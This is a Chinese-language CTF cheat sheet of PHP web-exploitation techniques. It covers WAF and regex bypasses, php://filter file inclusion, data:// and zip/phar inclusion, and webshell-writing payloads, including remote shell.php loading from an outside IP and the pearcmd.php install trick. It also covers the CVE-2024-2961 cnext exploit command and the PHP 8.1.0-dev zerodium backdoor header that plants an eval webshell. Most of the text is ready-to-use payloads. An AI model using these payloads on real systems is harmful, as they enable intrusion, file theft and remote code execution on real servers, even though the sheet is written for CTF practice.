$_REQUEST 循环查找参数

if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf');
    }
}

$_REQUEST 优先识别 POST 传递的参数,在传入$_GET 的参数时也传一个同名的$_POST 参数值,可以覆盖对$_REQUEST 的过滤。

$_SERVER[‘QUERY_STRING’]检查

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('w2');
}

$_SERVER 不会对参数 url 编码,可以对过滤的字符进行 URL 编码。一个寻找可被 url 编码字符的脚本

php
<?php
for ($i = 1; $i < 100; $i++) {
$url='%'.$i;
if(urldecode($url)>='0'&& urldecode($url)<='z'){
echo $url.' '.urldecode($url)."\n";
}
}

特殊名称参数: _改为[

$_GET['ez_ser.from_you'] 这种同时存在_和. 的参数,传参时要把参数第一个 _ 换为 [ , 传入 ez[ser.from_you 即可正常传入。
原理:
php ⾮法传参
在给参数传值时,如果参数名中存在⾮法字符,⽐如空格和点,则参数名中的点和空格等⾮法字符都会被替换成下划线。
并且,在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后⾯还存在⾮法字符,则不会继续转换成下划线。
也就是说,我们可以刻意拼接中括号制造这种错误,来保留后⾯的⾮法字符不被替换,因为中括号导致只会替换⼀次。

哈希函数相关

常见的哈希函数绕过

file_get_contents($_GET[‘flag’])绕过

要求 file_get_contents($_GET[‘flag’])=='flag’为真

data://text

  1. flag=data://text/plain,flag
  2. flag=data://text/plain;base64,ZmxhZw==

compress.zlib://data:

  1. flag=compress.zlib://data:,flag
  2. flag=compress.zlib://data:;base64,ZmxhZw==

php://input(对 POST 传参不适用)

GET 传参:flag=php://input
POST 传参:flag

限制$_GET[‘flag’]以 http 开头且 strpos(file_get_contents($_GET[‘flag’]), ‘content’)===true

flag=http://[email protected]/index.php

相当于跳转 127.0.0.1/index.php,也可以用自己的服务器

文件包含

可直接包含的函数,如 include, require

绕过 require_once 命令

轮流循环绕过

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

常规读取

base64读取 convert.base64-encode
?file=php://filter/convert.base64-encode/resource=
rot13读取 string.rot13,需要关闭短标签解析
?file=php://filter/string.rot13/resource=

convert.iconv.*.*

?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=
?file=php://filter//convert.iconv.UCS-4*.UCS-4*/resource=
?file=php://filter/read=convert.quoted-printable-encode/resource=

可用的 filter 编码名单,可以排列组合

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

写 php 文件

data://
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
如果正则匹配了data不能在开头,可使用压缩绕过
?file=compress.zlib://data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http传马
?file=http://x.x.x.x/shell.php
shell.php内容:
<?php echo eval(system("whoami"));phpinfo();?><?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
为什么这个不能直接加载一句话木马呢,因为使用PHP文件包含函数远程加载Webdav共享文件时,不能附加消息(GET/POST),但是我们可以自定义shell.php,通过服务器加载远程shell.php给我们自动生成一个Webshell

对 zip 文件包含

使用 zip://或 phar://
后缀不一定必须是.zip,这里的 a.jpg 是 a.zip 改过后缀名后上传的

?file=zip://upload/a.jpg#shell.php
?file=phar://upload/a.jpg/shell.php

利用 pearcmd.php 写入 shell

?file=../../../../../../../usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=eval($_POST[1]);?>+1.php
或者利用install下载shell
?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+http://ip/shell.php
VPS的shell.php放在/tmp/pear/download/中

不要用火狐的 hackbar 插件传参,它会默认做一次 url 编码导致特殊字符被编码

file_get_contents

用 file://和 local_file://读取常见目录

CVE-2024-2961 利用 phpfilter 提升为远程代码执行

示例如下:

php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

https://github.com/ambionics/cnext-exploits/tree/main
运行代码:

bash
python3 cnext-exploit.py http://127.0.0.1:100/file.php "echo '<?php phpinfo();?>' > 2.php"

必要时根据题意更改 send 和 download 函数。参数是 GET 类型时更改所有的 tf.random.string(50)为 tf.random.string(48),因为 GET 参数限制长度为 148。

system 命令读文件过滤了/和部分字母

${PWD%%[a-z]*}可以在 url 上构造 /
例如读到 flag 位置在 /_flag
直接读取 ${PWD%%[a-z]*}_*

preg_match 返回 false ,利用 pcre 绕过

必须用 POST 传参,GET 有字符上限。
pcre 原理为 preg_match 递归查找会限制字符长度,默认值为 1000000,如果超出会返回 bool(false)。

python

import requests

url = "http://example.com/"
data = {"t": "-" * 1000001 + "aaa"}
response = requests.post(url=url, data=data)
print(response.text)

出不来可以适当增加字符长度。(有次把次数设成 1011451 就能过了,抽象)

PHP 原生类

DirectoryIterator,FilesystemIterator,GlobIterator ->可遍历目录类
SplFileObject->读取文件类

使用范例(可配合 php 伪协议)

foreach

$text=new $a($b);
foreach ($text as $tmp)
{
    echo $tmp;
}
a=DirectoryIterator&b=/
a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php

简略写法

echo (new $a($b))->$c();//c可以省略

a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php&c=fgets
a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php&c=__toString

打ctf比赛时还发现了一种新方法可以执行函数:
a=ReflectionFunction&b=phpinfo&c=invoke
可以执行类似匿名函数的代码:
比如:create_function("", 'die(`/readflag`);');
当你访问时,默认为\00lambda_1,每次被访问时这个数字会加一。
所以先用phpinfo去打,确认能打通后重启环境后再传%00lambda_1。
用php7.4.3测试时阈值是500,超过这个值就会从1重新计数

PHP 类名大小写

php 对于类名大小写不敏感,A 和 a 都会认为是同一个类。

parse_url

php
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
$data = parse_url($url);
print_r($data);
/*
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
*/

绕过 parse_url 检测

如果 path 部分为///,则 query 解析错误

php
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}

使用///public/?payload=O:123123绕过 foreach。

basename($_SERVER[‘PHP_SELF’])

比如下面这个例子

php
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

PHP_SELF 会返回请求的 URL 路径如 /index.php/abc/123,basename 会将传入的参数路径截取最后一段作为返回值。但 basename 有一个特性,是当该函数发现最后一段为不可见字符时会返回上一层的目录,
所以 exp 为: /index.php/config.php/%ff。
basename(“/index.php/config.php/%ff”) => config.php

PHP 8.1.0 任意代码执行漏洞

User-Agentt: zerodium 可以执行 PHP 代码。
HTTP 头添加:

User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1]);?>' > /var/www/html/1.php");

…(更新中)